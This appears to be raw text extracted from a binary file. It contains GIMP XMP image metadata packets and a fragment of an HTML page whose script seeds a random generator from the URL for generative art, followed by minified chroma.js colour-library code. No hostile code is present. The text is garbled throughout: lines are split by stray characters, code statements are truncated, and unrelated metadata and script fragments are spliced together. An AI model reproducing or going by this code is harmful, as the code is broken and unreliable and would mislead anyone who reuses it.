.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:06738075-f552-464b-8f3b-85c414be8083" xmpMM:InstanceID="xmp.iid:a91f30bc-3417-4837-bd2e-94388fe4aa67" xmpMM:OriginalDocumentID="xmp.did:b8bc271c-b2ac-4ae5-934a-5f414c378e9e" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1676407113859754" GIMP:VersM
ion="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:15T07:38:32+11:00" xmp:ModifyDate="2023:02:15T07:38:32+11:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:e0f63da6-5f71-4ae2-8590-90af03c11ee2" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-15T07:38:33"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                    M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                     <?xpacket end="w"?>h!
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:DesM
cription rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:2f90322e-fcbb-4645-bf8b-3f69d90f796b" xmpMM:InstanceID="xmp.iid:6db72dc2-c774-4b5a-85d0-b99b1f2d1304" xmpMM:OriginalDocumentID="xmp.did:93995354-9fcc-4b89-aac8-027c2d77b15a" dc:Format="imagM
e/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1676407091408932" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:15T07:38:09+11:00" xmp:ModifyDate="2023:02:15T07:38:09+11:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:5a89fdd0-9879-4f39-9cb8-1b9ccb0957d8" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-15T07:38:11"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmM
pmeta>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               <?xpacket end="w"?>h!
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:DescriptionM
 rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:41c765d1-6861-4ea5-a38f-6a57de4c81bb" xmpMM:InstanceID="xmp.iid:6b73d0b0-f0c2-43b3-8916-0a0696bbf488" xmpMM:OriginalDocumentID="xmp.did:2e2cc2eb-a50b-46ff-a69e-1367ac576006" dc:Format="image/webp" M
GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1676407067055909" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:15T07:37:45+11:00" xmp:ModifyDate="2023:02:15T07:37:45+11:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:7418b2dd-b7e9-4444-89ed-9c051ca2a51b" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-15T07:37:47"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>  M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       <?xpacket end="w"?>h!
D*zTXtRaw profile type exif
dzTXtRaw profile type iptc
iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2">
 <rdf:RDF xmlns:rdf="http://www.w3.org/199M
9/02/22-rdf-syntax-ns#">
  <rdf:Description rdf:about=""
    xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/"
    xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#"
    xmlns:dc="http://purl.org/dc/elements/1.1/"
    xmlns:GIMP="http://www.gimp.org/xmp/"
    xmlns:tiff="http://ns.adobe.com/tiff/1.0/"
    xmlns:xmp="http://ns.adobe.com/xap/1.0/"
   xmpMM:DocumentID="gimp:docid:gimp:c75afa06-f0d3-45b3-98b4-162b3aa41163"
   xmpMM:InstanceID="xmp.iid:2d232600-742b-4b57-88a4-61b56c9f6c6d"
   xmpMM:OriginalDocumM
entID="xmp.did:e7aeea87-599f-4bc8-a5f8-6f2cd42218e6"
   dc:Format="image/png"
   GIMP:Platform="Linux"
   GIMP:TimeStamp="1676416753379942"
   GIMP:Version="2.10.30"
   tiff:Orientation="1"
   xmp:CreatorTool="GIMP 2.10">
      stEvt:action="saved"
      stEvt:changed="/"
      stEvt:instanceID="xmp.iid:a75da5cb-88f5-4494-bf56-75884f76f0c5"
      stEvt:softwareAgent="Gimp 2.10 (Windows)"
      stEvt:when="2023-01-02T15:17:33"/>
      stEvt:changed="/"
      stEvt:instanceID="xmp.iid:41a5b3a5-fbee-4a79-87b3-81dd23656415"
      stEvt:softwareAgent="Gimp 2.10 (Windows)"
      stEvt:when="2023-02-04T10:40:37"/>
      stEvt:action="saved"
      stEvt:changed="/"
      stEvt:instanceID="xmp.iid:f737ee24-4c11-4194-8b7c-cd9c6a0e7875"
      stEvt:softwareAgent="Gimp 2.10 (Linux)"
      stEvt:when="2023-02-15T02:19:13+03:00"/>
  </rdf:Description>





                            M





                                           M





                                                          M






<?xpacket end="w"?>?
text/html;charset=utf-8
      display: block;
    <meta charset="utf-8" />
    let seed=window.location.href.split('/').find(t=>t.includes('i0'));
    if (seed == null) {
      seed = new URLSearchParams(window.location.search).get("seed");
      let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; M
        if (seed.substring(i, i + pattern.length) == pattern) {
          seed = seed.substring(i + pattern.length);
    function cyrb128($) {
      let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
      for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
      return _ = Math.imul(i ^ _ >>> 18,M
 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
    function sfc32($, _, u, i) {
      return function () {
        u >>>= 0, i >>>= 0;
        var l = ($ >>>= 0) + (_ >>>= 0) | 0;
        return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
 sfc32(...cyrb128(seed));
    let p5seed = Math.floor(mathRand() * Number.MAX_SAFE_INTEGER);
!function(r,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(r="undefined"!=typeof globalThis?globalThis:r||self).chroma=e()}(this,function(){"use strict";for(var r=function(r,e,t){return void 0===e&&(e=0),void 0===t&&(t=1),r<e?e:r>t?t:r},e=r,t={},n=0,a=["Boolean","Number","String","Function","Array","Date","RegExp","Undefined","Null"];n<a.length;nM
+=1){var f=a[n];t["[object "+f+"]"]=f.toLowerCase()}var o=function(r){return t[Object.prototype.toString.call(r)]||"object"},c=o,u=o,i=Math.PI,l={clip_rgb:function(r){r._clipped=!1,r._unclipped=r.slice(0);for(var t=0;t<=3;t++)t<3?((r[t]<0||r[t]>255)&&(r._clipped=!0),r[t]=e(r[t],0,255)):3===t&&(r[t]=e(r[t],0,1));return r},limit:r,type:o,unpack:function(r,e){return void 0===e&&(e=null),r.length>=3?Array.prototype.slice.call(r):"object"==c(r[0])&&e?e.split("").filter(function(e){return void 0!==r[0][e]}).map(function(M
e){return r[0][e]}):r[0]},last:function(r){if(r.length<2)return null;var e=r.length-1;return"string"==u(r[e])?r[e].toLowerCase():null},PI:i,TWOPI:2*i,PITHIRD:i/3,DEG2RAD:i/180,RAD2DEG:180/i},d={format:{},autodetect:[]},h=l.last,b=l.clip_rgb,s=l.type,p=d,g=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if("object"===s(r[0])&&r[0].constructor&&r[0].constructor===this.constructor)return r[0];var t=h(r),n=!1;if(!t){n=!0,p.sorted||(p.autodetect=p.autodetect.sort(function(r,e){return e.p-r.p}),p.sortedM
=!0);for(var a=0,f=p.autodetect;a<f.length;a+=1){var o=f[a];if(t=o.test.apply(o,r))break}}if(!p.format[t])throw new Error("unknown format: "+r);var c=p.format[t].apply(null,n?r:r.slice(0,-1));this._rgb=b(c),3===this._rgb.length&&this._rgb.push(1)};g.prototype.toString=function(){return"function"==s(this.hex)?this.hex():"["+this._rgb.join(",")+"]"};var v=g,y=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(y.Color,[null].concat(r)))};y.Color=v,y.version="2.4.M
2";var m=y,k=l.unpack,w=Math.max,M=l.unpack,_=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=M(r,"cmyk"))[0],n=r[1],a=r[2],f=r[3],o=r.length>4?r[4]:1;return 1===f?[0,0,0,o]:[t>=1?0:255*(1-t)*(1-f),n>=1?0:255*(1-n)*(1-f),a>=1?0:255*(1-a)*(1-f),o]},N=m,F=v,x=d,P=l.unpack,R=l.type,G=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=k(r,"rgb"),n=t[0],a=t[1],f=t[2],o=1-w(n/=255,w(a/=255,f/=255)),c=o<1?1/(1-o):0;return[(1-n-o)*c,(1-a-o)*c,(1-f-o)*c,o]};F.prototype.cmyk=fuM
nction(){return G(this._rgb)},N.cmyk=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(F,[null].concat(r,["cmyk"])))},x.format.cmyk=_,x.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=P(r,"cmyk"),"array"===R(r)&&4===r.length)return"cmyk"}});var j=l.unpack,E=l.last,O=function(r){return Math.round(100*r)/100},q=l.unpack,B=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=q(r,"rgba"))[0],nM
=r[1],a=r[2];t/=255,n/=255,a/=255;var f,o,c=Math.min(t,n,a),u=Math.max(t,n,a),i=(u+c)/2;return u===c?(f=0,o=Number.NaN):f=i<.5?(u-c)/(u+c):(u-c)/(2-u-c),t==u?o=(n-a)/(u-c):n==u?o=2+(a-t)/(u-c):a==u&&(o=4+(t-n)/(u-c)),(o*=60)<0&&(o+=360),r.length>3&&void 0!==r[3]?[o,f,i,r[3]]:[o,f,i]},I=l.unpack,A=l.last,D=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=j(r,"hsla"),n=E(r)||"lsa";return t[0]=O(t[0]||0),t[1]=O(100*t[1])+"%",t[2]=O(100*t[2])+"%","hsla"===n||t.length>3&&t[3]<1?(t[3]=t.length>3?t[M
3]:1,n="hsla"):t.length=3,n+"("+t.join(",")+")"},C=B,Y=Math.round,S=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=I(r,"rgba"),n=A(r)||"rgb";return"hsl"==n.substr(0,3)?D(C(t),n):(t[0]=Y(t[0]),t[1]=Y(t[1]),t[2]=Y(t[2]),("rgba"===n||t.length>3&&t[3]<1)&&(t[3]=t.length>3?t[3]:1,n="rgba"),n+"("+t.slice(0,"rgb"===n?3:4).join(",")+")")},L=l.unpack,$=Math.round,T=function(){for(var r,e=[],t=arguments.length;t--;)e[t]=arguments[t];var n,a,f,o=(e=L(e,"hsl"))[0],c=e[1],u=e[2];if(0===c)n=a=f=255*u;elsM
e{var i=[0,0,0],l=[0,0,0],d=u<.5?u*(1+c):u+c-u*c,h=2*u-d,b=o/360;i[0]=b+1/3,i[1]=b,i[2]=b-1/3;for(var s=0;s<3;s++)i[s]<0&&(i[s]+=1),i[s]>1&&(i[s]-=1),6*i[s]<1?l[s]=h+6*(d-h)*i[s]:2*i[s]<1?l[s]=d:3*i[s]<2?l[s]=h+(d-h)*(2/3-i[s])*6:l[s]=h;n=(r=[$(255*l[0]),$(255*l[1]),$(255*l[2])])[0],a=r[1],f=r[2]}return e.length>3?[n,a,f,e[3]]:[n,a,f,1]},K=T,W=d,X=/^rgb\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*\)$/,Z=/^rgba\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*,\s*([01]|[01]?\.\d+)\)$/,H=/^rgb\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\M
d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,z=/^rgba\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,U=/^hsl\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,V=/^hsla\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,J=Math.round,Q=function(r){var e;if(r=r.toLowerCase().trim(),W.format.named)try{return W.format.named(r)}catch(r){}if(e=r.match(X)){for(var t=e.slice(1,4),n=0;n<3;n++)t[n]=+t[n];returnM
 t[3]=1,t}if(e=r.match(Z)){for(var a=e.slice(1,5),f=0;f<4;f++)a[f]=+a[f];return a}if(e=r.match(H)){for(var o=e.slice(1,4),c=0;c<3;c++)o[c]=J(2.55*o[c]);return o[3]=1,o}if(e=r.match(z)){for(var u=e.slice(1,5),i=0;i<3;i++)u[i]=J(2.55*u[i]);return u[3]=+u[3],u}if(e=r.match(U)){var l=e.slice(1,4);l[1]*=.01,l[2]*=.01;var d=K(l);return d[3]=1,d}if(e=r.match(V)){var h=e.slice(1,4);h[1]*=.01,h[2]*=.01;var b=K(h);return b[3]=+e[4],b}};Q.test=function(r){return X.test(r)||Z.test(r)||H.test(r)||z.test(r)||U.test(r)||V.test(r)M
};var rr=m,er=v,tr=d,nr=l.type,ar=S,fr=Q;er.prototype.css=function(r){return ar(this._rgb,r)},rr.css=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(er,[null].concat(r,["css"])))},tr.format.css=fr,tr.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===nr(r)&&fr.test(r))return"css"}});var or=v,cr=m,ur=l.unpack;d.format.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e]M
;var t=ur(r,"rgba");return t[0]*=255,t[1]*=255,t[2]*=255,t},cr.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(or,[null].concat(r,["gl"])))},or.prototype.gl=function(){var r=this._rgb;return[r[0]/255,r[1]/255,r[2]/255,r[3]]};var ir=l.unpack,lr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=ir(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Math.min(a,f,o),u=Math.max(a,f,o),i=u-c,l=100*i/255,d=c/(255-i)*100;return 0===i?t=Number.NaN:(a===u&&(t=M
(f-o)/i),f===u&&(t=2+(o-a)/i),o===u&&(t=4+(a-f)/i),(t*=60)<0&&(t+=360)),[t,l,d]},dr=l.unpack,hr=Math.floor,br=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=dr(o,"hcg"))[0],h=o[1],b=o[2];b*=255;var s=255*h;if(0===h)u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var p=hr(d/=60),g=d-p,v=b*(1-h),y=v+s*(1-g),m=v+s*g,k=v+s;switch(p){case 0:u=(r=[k,m,v])[0],i=r[1],l=r[2];break;case 1:u=(e=[y,k,v])[0],i=e[1],l=e[2];break;case 2:u=(t=[v,k,m])[0],i=t[1],l=t[2];break;cM
ase 3:u=(n=[v,y,k])[0],i=n[1],l=n[2];break;case 4:u=(a=[m,v,k])[0],i=a[1],l=a[2];break;case 5:u=(f=[k,v,y])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},sr=l.unpack,pr=l.type,gr=m,vr=v,yr=d,mr=lr;vr.prototype.hcg=function(){return mr(this._rgb)},gr.hcg=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(vr,[null].concat(r,["hcg"])))},yr.format.hcg=br,yr.autodetect.push({p:1,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=sr(r,"M
hcg"),"array"===pr(r)&&3===r.length)return"hcg"}});var kr=l.unpack,wr=l.last,Mr=Math.round,_r=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=kr(r,"rgba"),n=t[0],a=t[1],f=t[2],o=t[3],c=wr(r)||"auto";void 0===o&&(o=1),"auto"===c&&(c=o<1?"rgba":"rgb");var u="000000"+((n=Mr(n))<<16|(a=Mr(a))<<8|(f=Mr(f))).toString(16);u=u.substr(u.length-6);var i="0"+Mr(255*o).toString(16);switch(i=i.substr(i.length-2),c.toLowerCase()){case"rgba":return"#"+u+i;case"argb":return"#"+i+u;default:return"#"+u}},Nr=/M
^#?([A-Fa-f0-9]{6}|[A-Fa-f0-9]{3})$/,Fr=/^#?([A-Fa-f0-9]{8}|[A-Fa-f0-9]{4})$/,xr=function(r){if(r.match(Nr)){4!==r.length&&7!==r.length||(r=r.substr(1)),3===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]);var e=parseInt(r,16);return[e>>16,e>>8&255,255&e,1]}if(r.match(Fr)){5!==r.length&&9!==r.length||(r=r.substr(1)),4===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]+r[3]+r[3]);var t=parseInt(r,16);return[t>>24&255,t>>16&255,t>>8&255,Math.round((255&t)/255*100)/100]}throw new Error("unknown hex coM
lor: "+r)},Pr=m,Rr=v,Gr=l.type,jr=d,Er=_r;Rr.prototype.hex=function(r){return Er(this._rgb,r)},Pr.hex=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Rr,[null].concat(r,["hex"])))},jr.format.hex=xr,jr.autodetect.push({p:4,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===Gr(r)&&[3,4,5,6,7,8,9].indexOf(r.length)>=0)return"hex"}});var Or=l.unpack,qr=l.TWOPI,Br=Math.min,Ir=Math.sqrt,Ar=Math.acos,Dr=functionM
(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=Or(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Br(a/=255,f/=255,o/=255),u=(a+f+o)/3,i=u>0?1-c/u:0;return 0===i?t=NaN:(t=(a-f+(a-o))/2,t/=Ir((a-f)*(a-f)+(a-o)*(f-o)),t=Ar(t),o>f&&(t=qr-t),t/=qr),[360*t,i,u]},Cr=l.unpack,Yr=l.limit,Sr=l.TWOPI,Lr=l.PITHIRD,$r=Math.cos,Tr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Cr(r,"hsi"))[0],o=r[1],c=r[2];return isNaN(f)&&(f=0),isNaN(o)&&(o=0),f>360&&(f-=360),f<0&&(f+=360),(f/=360)<1/3?n=1-M
((a=(1-o)/3)+(t=(1+o*$r(Sr*f)/$r(Lr-Sr*f))/3)):f<2/3?a=1-((t=(1-o)/3)+(n=(1+o*$r(Sr*(f-=1/3))/$r(Lr-Sr*f))/3)):t=1-((n=(1-o)/3)+(a=(1+o*$r(Sr*(f-=2/3))/$r(Lr-Sr*f))/3)),[255*(t=Yr(c*t*3)),255*(n=Yr(c*n*3)),255*(a=Yr(c*a*3)),r.length>3?r[3]:1]},Kr=l.unpack,Wr=l.type,Xr=m,Zr=v,Hr=d,zr=Dr;Zr.prototype.hsi=function(){return zr(this._rgb)},Xr.hsi=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Zr,[null].concat(r,["hsi"])))},Hr.format.hsi=Tr,Hr.autodetect.push({pM
:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Kr(r,"hsi"),"array"===Wr(r)&&3===r.length)return"hsi"}});var Ur=l.unpack,Vr=l.type,Jr=m,Qr=v,re=d,ee=B;Qr.prototype.hsl=function(){return ee(this._rgb)},Jr.hsl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Qr,[null].concat(r,["hsl"])))},re.format.hsl=T,re.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ur(r,"hsl"),"array"===Vr(r)M
&&3===r.length)return"hsl"}});var te=l.unpack,ne=Math.min,ae=Math.max,fe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=te(r,"rgb"))[0],o=r[1],c=r[2],u=ne(f,o,c),i=ae(f,o,c),l=i-u;return a=i/255,0===i?(t=Number.NaN,n=0):(n=l/i,f===i&&(t=(o-c)/l),o===i&&(t=2+(c-f)/l),c===i&&(t=4+(f-o)/l),(t*=60)<0&&(t+=360)),[t,n,a]},oe=l.unpack,ce=Math.floor,ue=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=oe(o,"hsv"))[0],h=o[1],b=o[2];if(b*=255,0===h)M
u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var s=ce(d/=60),p=d-s,g=b*(1-h),v=b*(1-h*p),y=b*(1-h*(1-p));switch(s){case 0:u=(r=[b,y,g])[0],i=r[1],l=r[2];break;case 1:u=(e=[v,b,g])[0],i=e[1],l=e[2];break;case 2:u=(t=[g,b,y])[0],i=t[1],l=t[2];break;case 3:u=(n=[g,v,b])[0],i=n[1],l=n[2];break;case 4:u=(a=[y,g,b])[0],i=a[1],l=a[2];break;case 5:u=(f=[b,g,v])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},ie=l.unpack,le=l.type,de=m,he=v,be=d,se=fe;he.prototype.hsv=function(){return se(this._rgb)},de.hsv=M
function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(he,[null].concat(r,["hsv"])))},be.format.hsv=ue,be.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=ie(r,"hsv"),"array"===le(r)&&3===r.length)return"hsv"}});var pe={Kn:18,Xn:.95047,Yn:1,Zn:1.08883,t0:.137931034,t1:.206896552,t2:.12841855,t3:.008856452},ge=pe,ve=l.unpack,ye=Math.pow,me=function(r){return(r/=255)<=.04045?r/12.92:ye((r+.055)/1.055,2.4)},ke=function(M
r){return r>ge.t3?ye(r,1/3):r/ge.t2+ge.t0},we=function(r,e,t){return r=me(r),e=me(e),t=me(t),[ke((.4124564*r+.3575761*e+.1804375*t)/ge.Xn),ke((.2126729*r+.7151522*e+.072175*t)/ge.Yn),ke((.0193339*r+.119192*e+.9503041*t)/ge.Zn)]},Me=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=ve(r,"rgb"),n=t[0],a=t[1],f=t[2],o=we(n,a,f),c=o[0],u=o[1],i=116*u-16;return[i<0?0:i,500*(c-u),200*(u-o[2])]},_e=pe,Ne=l.unpack,Fe=Math.pow,xe=function(r){return 255*(r<=.00304?12.92*r:1.055*Fe(r,1/2.4)-.055)},Pe=funM
ction(r){return r>_e.t1?r*r*r:_e.t2*(r-_e.t0)},Re=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Ne(r,"lab"))[0],o=r[1],c=r[2];return n=(f+16)/116,t=isNaN(o)?n:n+o/500,a=isNaN(c)?n:n-c/200,n=_e.Yn*Pe(n),t=_e.Xn*Pe(t),a=_e.Zn*Pe(a),[xe(3.2404542*t-1.5371385*n-.4985314*a),xe(-.969266*t+1.8760108*n+.041556*a),xe(.0556434*t-.2040259*n+1.0572252*a),r.length>3?r[3]:1]},Ge=l.unpack,je=l.type,Ee=m,Oe=v,qe=d,Be=Me;Oe.prototype.lab=function(){return Be(this._rgb)},Ee.lab=function(){for(var rM
=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Oe,[null].concat(r,["lab"])))},qe.format.lab=Re,qe.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ge(r,"lab"),"array"===je(r)&&3===r.length)return"lab"}});var Ie=l.unpack,Ae=l.RAD2DEG,De=Math.sqrt,Ce=Math.atan2,Ye=Math.round,Se=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ie(r,"lab"),n=t[0],a=t[1],f=t[2],o=De(a*a+f*f),c=(Ce(f,a)*Ae+360)%360;return 0===YeM
(1e4*o)&&(c=Number.NaN),[n,o,c]},Le=l.unpack,$e=Me,Te=Se,Ke=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Le(r,"rgb"),n=t[0],a=t[1],f=t[2],o=$e(n,a,f),c=o[0],u=o[1],i=o[2];return Te(c,u,i)},We=l.unpack,Xe=l.DEG2RAD,Ze=Math.sin,He=Math.cos,ze=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=We(r,"lch"),n=t[0],a=t[1],f=t[2];return isNaN(f)&&(f=0),[n,He(f*=Xe)*a,Ze(f)*a]},Ue=l.unpack,Ve=ze,Je=Re,Qe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=M
(r=Ue(r,"lch"))[0],n=r[1],a=r[2],f=Ve(t,n,a),o=f[0],c=f[1],u=f[2],i=Je(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},rt=l.unpack,et=Qe,tt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rt(r,"hcl").reverse();return et.apply(void 0,t)},nt=l.unpack,at=l.type,ft=m,ot=v,ct=d,ut=Ke;ot.prototype.lch=function(){return ut(this._rgb)},ot.prototype.hcl=function(){return ut(this._rgb).reverse()},ft.lch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.biM
nd.apply(ot,[null].concat(r,["lch"])))},ft.hcl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(ot,[null].concat(r,["hcl"])))},ct.format.lch=Qe,ct.format.hcl=tt,["lch","hcl"].forEach(function(r){return ct.autodetect.push({p:2,test:function(){for(var e=[],t=arguments.length;t--;)e[t]=arguments[t];if(e=nt(e,r),"array"===at(e)&&3===e.length)return r}})});var it=d,lt=l.type,dt={aliceblue:"#f0f8ff",antiquewhite:"#faebd7",aqua:"#00ffff",aquamarine:"#7fffd4",azure:M
